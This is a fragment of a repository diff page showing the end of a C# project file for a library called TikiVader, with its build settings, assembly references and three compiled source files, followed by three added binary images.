<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>TikiVader</RootNamespace>
|
||||
<AssemblyName>TikiVader</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.5</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>pdbonly</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.DirectoryServices" />
|
||||
<Reference Include="System.Management" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Net.Http" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="ActiveDirectory.cs" />
|
||||
<Compile Include="Host.cs" />
|
||||
<Compile Include="Network.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
||||
BIN
Binary file not shown.
|
After Width: | Height: | Size: 57 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 43 KiB |
BIN
Binary file not shown.
|
After Width: | Height: | Size: 33 KiB |
Reference in New Issue
Block a user